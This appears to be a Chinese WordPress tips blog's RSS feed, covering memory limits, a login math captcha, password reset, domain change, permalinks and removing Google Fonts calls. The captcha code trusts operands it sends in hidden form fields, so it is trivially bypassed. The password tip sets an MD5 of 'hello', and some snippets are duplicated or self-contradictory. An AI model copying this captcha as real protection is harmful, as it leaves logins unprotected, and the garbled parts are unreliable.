WordPress内存耗尽错误解决办法,首发于蓝月网络。

]]>
WordPress程序消耗内存,插件,主题也都消耗内存,在WordPress新版本(WordPress 3.0+)使用中会消耗更多的内存,PHP程序在执行过程中没有足够的内存,你的网站就可能出现这样的错误:

Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 1203208 bytes) in /home/*****/public_html/wp-admin/includes/class-pclzip.php on line 4215

在错误信息中,有两个关键的点,67108864 bytes和1203208 bytes,换算到M就是64M和1.1M,每次执行PHP需要分配1.1M的内存,但是由于整体消耗内存量太大,默认64M的最大内存不够用,被耗尽了,根据WordPress官方给出的解决办法,我们只要在wp-config.php中加入如下代码:

  1. define(‘WP_MEMORY_LIMIT’, ’128M’);

至于为什么是128M,这个就看你个人了,当然超过64M都是可以的。

以上的基础是,服务器本身的硬件不错,然后看两点:1,服务器的配置与性能优化;2,服务器上放置的用户数量。

如果你的空间支持.ini,可以通过修改php.ini实现,以下两种方法任选其一

1、首先在public_html 目录创建文件 php.ini,添加以下代码:
memory_limit = 64M
然后在根目录下修改.htaccess文件,添加下面代码:
suPHP_ConfigPath /home/username/public_html/

2、同样是修改php.ini
先在网站根目录下,建立一个php.ini文件,写入下面这句:
memory_limit = 64M
接着再到网站根目录下修改.htaccess这个文件,写入下面这句:
SetEnv PHPRC /home/host1/public_html/usr1/
(unix path to the directory where php.ini is)
(keep the slashes)
注:以上代码中的”64M”可根据需要适当调整。

WordPress内存耗尽错误解决办法,首发于蓝月网络。

]]>
后台登录时添加数学验证码 https://lanyueer.com/add-mathematical-verification-code-for-login/ Sun, 08 Nov 2015 04:54:45 +0000 http://lanyueer.com/?p=441 添加以下代码至functions.php中: //后台登陆数学验证码 function myplug…

后台登录时添加数学验证码,首发于蓝月网络。

]]>
添加以下代码至functions.php中:

  1. //后台登陆数学验证码
  2.  
  3. function myplugin_add_login_fields() {
  4.  
  5. //获取两个随机数, 范围0~9
  6.  
  7. $num1=rand(0,9);
  8.  
  9. $num2=rand(0,9);
  10.  
  11. //最终网页中的具体内容
  12.  
  13. echo "<p><label for='math' class='small'>验证码</label><br /> $num1 + $num2 = ?<input type='text' name='sum' class='input' value='' size='25' tabindex='4'>"
  14.  
  15. ."<input type='hidden' name='num1' value='$num1'>"
  16.  
  17. ."<input type='hidden' name='num2' value='$num2'></p>";
  18.  
  19. }
  20.  
  21. add_action('login_form','myplugin_add_login_fields');
  22.  
  23. function login_val() {
  24.  
  25. $sum=$_POST['sum'];//用户提交的计算结果
  26.  
  27. switch($sum){
  28.  
  29. //得到正确的计算结果则直接跳出
  30.  
  31. case $_POST['num1']+$_POST['num2']:break;
  32.  
  33. //未填写结果时的错误讯息
  34.  
  35. case null:wp_die('错误: 请输入验证码.');break;
  36.  
  37. //计算错误时的错误讯息
  38.  
  39. default:wp_die('错误: 验证码错误,请重试.');
  40.  
  41. }
  42.  
  43. }
  44.  
  45. add_action('login_form_login','login_val');

后台登录时添加数学验证码,首发于蓝月网络。

]]>
wordpress忘记密码怎么办? https://lanyueer.com/forgot-your-password/ Sun, 08 Nov 2015 04:38:15 +0000 http://lanyueer.com/?p=434 phpMyAdmin 方法/步骤 1.这里需要用到phpMyAdmin,虚拟机一般都有装这个功能,如果是自己的…

wordpress忘记密码怎么办?,首发于蓝月网络。

]]>
phpMyAdmin

方法/步骤

1.这里需要用到phpMyAdmin,虚拟机一般都有装这个功能,如果是自己的服务器或者本地可以下载安装一个这个软件,它是mysql数据库中最优秀的管理软件。

2.进入phpmyadmin后找到你的wordpres数据库。

这里你会看到之前你的管理账号的密码user_pass字段,因为是经过加密的密码所以你不能直接修改成十进制的普通密码。点击画圈的地方修改。

把这段加密的密码修改成“5d41402abc4b2a76b9719d911017c592”点击执行。(引号里面的)

3.然后你用“hello”登陆后台就进去了,记得在后台修改下密码哦,别再忘记了

通过 FTP

1. 登录你的 FTP 账户。

2. 找到 ../wp-content/themes/(你的主题文件)/ 目录,然后下载 functions.php 文件。

3. 打开 functions.php 然后在第一个 <?php 后面加上下面一行代码:
wp_set_password(‘YourNewPassword’,1);
把 YourNewPassword 这个值换成你想要的密码。这个代码里的 1 代表的是 wp_users 表上的 用户 ID。

4. 把改好的 functions.php 再次上传到 FTP 当中。

5. 当你可以登录到 WordPress 的时候,再去删掉那行代码。

wordpress忘记密码怎么办?,首发于蓝月网络。

]]>
WordPress更改域名无需修改数据库的方法 https://lanyueer.com/wordpress-without-modifying-the-database-name-change-method/ Sun, 08 Nov 2015 04:36:08 +0000 http://lanyueer.com/?p=433 大家一般都知道,WordPress网站更换域名,在成功导入数据库和转移网站数据库后,还需要修改HOME和SIT…

WordPress更改域名无需修改数据库的方法,首发于蓝月网络。

]]>
大家一般都知道,WordPress网站更换域名,在成功导入数据库和转移网站数据库后,还需要修改HOME和SITEURL两个地址。一般人的做法大都是通过修改数据库,其实我们也不用那么麻烦和危险。下面,草根站长网就跟大家讲讲通过修改配置文件的三种方法来解决上述问题。

方法一:修改wp-config.php

1、在wp-config.php中,添加以下两行内容:

  1. define(‘WP_HOME’,’https://lanyueer.com/’);
  2.  
  3. define(‘WP_SITEURL’,’https://lanyueer.com/’);

www.lanyueer.com代表你的新地址。

2、登录后台,在 “常规 -> 设置”重新配置新博客地址(HOME)和安装地址(SITEURL),成功后一定记得删除上面添加的内容。

方法二:修改functions.php

functions.php指的是位于当前博客主题目录内,可以自定义一些主题函数。

1、在functions.php中,添加以下两行内容:

  1. update_option(‘siteurl’,’https://lanyueer.com/’);
  2.  
  3. update_option(‘home’,’https://lanyueer.com/’);

同样,www.laoxuehost.com代表你的新地址。

2、登录后台,在 “常规 -> 设置”重新配置新博客地址(HOME)和安装地址(SITEURL),成功后一定记得删除上面添加的内容。

方法三:修改wp-config.php(自动更新地址)

1、在wp-config.php中,添加下面一行内容:

  1. define(‘RELOCATE’,true);

2、登录后台地址,WP将自动更新安装地址(SITEURL),手动修改博客地址(HOME)地址即可,成功后一定记得删除上面添加的内容。

很明显,第三种是最简单的,无需填写新的网站域名地址,最重要的是一定记得删除添加过的内容哦。

WordPress更改域名无需修改数据库的方法,首发于蓝月网络。

]]>
解决保存WordPress菜单时丢失菜单项问题 https://lanyueer.com/missing-menu-itemswordpress/ Thu, 21 May 2015 07:42:00 +0000 http://lanyueer.com/?p=76 在vps上测试网站,遇到一个关于菜单的奇怪问题。当菜单项数量很多时,保存菜单时末尾的几项会丢失,连菜单位置的设…

解决保存WordPress菜单时丢失菜单项问题,首发于蓝月网络。

]]>
在vps上测试网站,遇到一个关于菜单的奇怪问题。当菜单项数量很多时,保存菜单时末尾的几项会丢失,连菜单位置的设定也没了。

具体的说,我创建了一个菜单,大概有80多个菜单项,这80多个是直接用WordPress import工具导入的测试数据。但当我想修改菜单,增加几项时,问题就来了,只要多加一个,排在最后的菜单必定会消失一个,连菜单位置的设定也没了,导致无法增加更多的菜单项。

google了一下,发现答案,原来是服务器问题,php 5.3.9后增加了一项叫做max_input_vars,默认值1000,即表单一次可以提交1000个变量。超过了怎么办,只能被截断,也就是说传到WordPress的数据早就被服务器截断了,丢失了,WordPress只能对着残缺不全的数据哑巴吃黄连。

具体的原因在这篇文章中,写的相当详细,我就不重复了,直接说说我是怎么解决的。

拷贝一份php.ini,放到wp-admin目录下,在php.ini里加上这几项,问题就可以解决,放到网站根目录下只能改变前台的设置,影响不到后台。

max_input_vars = 2000
suhosin.post.max_vars = 2000
suhosin.request.max_vars = 2000

虽说max_input_vars是从php 5.3.9开始有的,但我用的是php 5.3.28,也有这个变量。如果遇到这个问题,php版本又没到5.3.9,php.ini里也没这项,直接加上就好。

解决保存WordPress菜单时丢失菜单项问题,首发于蓝月网络。

]]>
WordPress固定链接设置的几种方法 https://lanyueer.com/set-permalink/ Thu, 21 May 2015 07:38:09 +0000 http://lanyueer.com/?p=75 传说中,固定链接有SEO功能,今天试了试,现在给大家分享一下: wordpress固定链接设置技巧: 1、不要…

WordPress固定链接设置的几种方法,首发于蓝月网络。

]]>
传说中,固定链接有SEO功能,今天试了试,现在给大家分享一下:

wordpress固定链接设置技巧:

1、不要让日期出现在固定链接里面

  这基于两个方面的考虑。一是如果数字出现在固定链接里面,等于提醒搜索引擎,这是很旧的内容了,没必要再爬一遍了。另外一个原因是,假如你要修改文章的日期重新发布的话,链接地址就变了,也就是意味着你的反向链接,PR 等等都没有了。

2、不要让分类的链接出现在固定链接里面

  这一点是很多人都会忽略的地方。让分类出现在固定链接里面有两个缺陷:一是一篇文章如果选择了多个分类的话,则会出现多个链接地址,这很容易造成因为重复内容而被搜索引擎惩罚;二是有可能会造成关键词堆砌而被搜索引擎惩罚。

3、链接不要过深

  这一点经常看到。很多wordpress 用户的固定链接是年/月/日/分类名/文章名。这种过于深的固定链接对搜索引擎是非常不友好的。

4、不要让中文字符出现在固定链接里面

  虽然现在的搜索引擎已经能识别URL地址里面的中文字符,但无论是从美观上,还是从wordpress 优化的角度来看,都是非常差的。

wordpress固定链接设置的一些参数:

%year%:基于文章发布的年份,比如2010;
%monthnum%:基于文章发布的月份,比如01;
%day%:基于文章发布当日,比如06;
%hour%:基于文章发布小时数,比如23;
%minute%:基于文章发布分钟数,比如43;
%second%:基于文章发布秒数,比如33;
%postname%:基于文章的postname,其值为撰写时指定的缩略名,不指定缩略名时是文章标题;
%post_id%:基于文章post_id,比如48;
%category%:基于文章分类,子分类会处理成“分类/子分类”这种形式;
%author%:基于文章作者名。
  将上述参数进行组合,即可得到wordpress的固定链接形式。

网上常见的几种设置方法:

•/%year%/%monthnum%/%day%/%postname%/

•/%year%/%monthnum%/%postname%/

•/%year%/%monthnum%/%day%/%postname%.html

•/%year%/%monthnum%/%postname%.html

•/%category%/%postname%.html

•/%post_id%.html
总结:个人认为,最好的 wordpress固定链接形式是:域名/文章 名(参数为/%postname%.html)。PS:原文作者已经说明最好参数,可本人觉得用/%post_id%.html 最简洁了。

WordPress固定链接设置的几种方法,首发于蓝月网络。

]]>
Google Fonts等API调用导致WP网站变慢的解决方法 https://lanyueer.com/remove-google-fonts-in-wordpress/ Thu, 21 May 2015 07:24:56 +0000 http://lanyueer.com/?p=74 Google服务器一直以来被国内屏蔽得很厉害,具体原因我们不去深究,其实这对于WordPress外贸建站的朋友…

Google Fonts等API调用导致WP网站变慢的解决方法,首发于蓝月网络。

]]>
Google Fonts导致WordPress 速度问题

Google服务器一直以来被国内屏蔽得很厉害,具体原因我们不去深究,其实这对于WordPress外贸建站的朋友倒是没有什么影响,毕竟网站主要是给海外用户浏览的,Google的API调用速度对于他们而言不存在什么问题。但是如果是中文的企业网站使用WordPress来做的话,如果你使用的是老外开发的WordPress企业主题,在国内网络访问的时候,多数网站就会长时间卡在诸如Fonts、Maps之类的API调用上,因为”useso.com”可不是一时半会儿能连上的,这无疑是大大降低用户体验的状况,更何况WordPress 自3.9+版本后内置了Google Fonts代码,所以我们在这里还是有必要探讨一下针对这个问题的解决方案。

方案A:插件禁止WordPress 后台加载

安装启用 Disable Google Fonts 或者 Remove Open Sans font Link from WP core 其中之一即可,这类插件主要针对的是WordPress程序本身内置的”Open Sans”字体,安装激活后基本也不用进行什么参数设置。但是WordPress的 Google Fonts 调用除了程序本身之外,还可能会设计主题模板、功能插件比如 Revolution Slider 幻灯插件等,所以如果此解决方案没有很彻底的移除API调用的话,就需要进一步结合下面的方法进行深入摸索。

插件】禁止WordPress 后台加载Google Fonts

方案B:搜索并删除相关代码

首先重点关注主题模板的”functions.php”和”header.php”这两个文件,试试搜索与Google相关的代码片段,把涉及API调用的代码注释或删除掉。当然,实际操作的时候并不一定就是这两个文件,如之前所说有些插件也会存在API调用,何况很多主题开发者有自己的编码习惯,可能会把主题文件按照自己的喜好进行拆分调用,这样的话就需要大家多花点时间去搜索研究了。

网上流传有一些一刀切的办法,大家也可以试试,不过在进行修改之前把源文件备份一下最好。直接在functions.php 文件添加代码:

  1. add_filter('gettext_with_context', 'disable_open_sans', 888, 4 );
  2. function disable_open_sans( $translations, $text, $context, $domain )
  3. {
  4. if ( 'Open Sans font: on or off' == $context && 'on' == $text ) {
  5. $translations = 'off';
  6. }
  7. return $translations;
  8. }

或者使用下面这段:

  1. add_filter('gettext_with_context', 'disable_open_sans', 888, 4 );
  2. function disable_open_sans( $translations, $text, $context, $domain )
  3. {
  4. if ( 'Open Sans font: on or off' == $context && 'on' == $text ) {
  5. $translations = 'off';
  6. }
  7. return $translations;
  8. }

这个方案还是需要在代码中进行,最主流的方法就是把主题或插件中类似”fonts.useso.com”之类的代码用”fonts.useso.com“进行替换。Useso是国内360推出的常用前端公共库CDN服务之一,“只需替换一个域名就可以继续使用Google提供的免费字体库了。同样通过样式表引用这些资源,让网站访问速度瞬间提速吧!”

这个方案会涉及到一个WordPress核心文件”wp-includes/script-loader.php”的修改,这其实是不推荐实施的。不过网络上有热心网友自主开发了一个小插件 DW Replace Open Sans 来便捷的实现这个方案,大家不妨试试。

当然如果你不嫌麻烦,也可以把字体拿回来放自己服务器上。首先是翻墙或用其他办法先把那些个字体文件下载回来,找到字体描述文件内容以及woff文件的url,分别把这几个woff文件下载下来保存到自己的网站服务器上,最后把代码中的相关调用链接替换成自己的URL即可。

Google Fonts等API调用导致WP网站变慢的解决方法,首发于蓝月网络。

]]>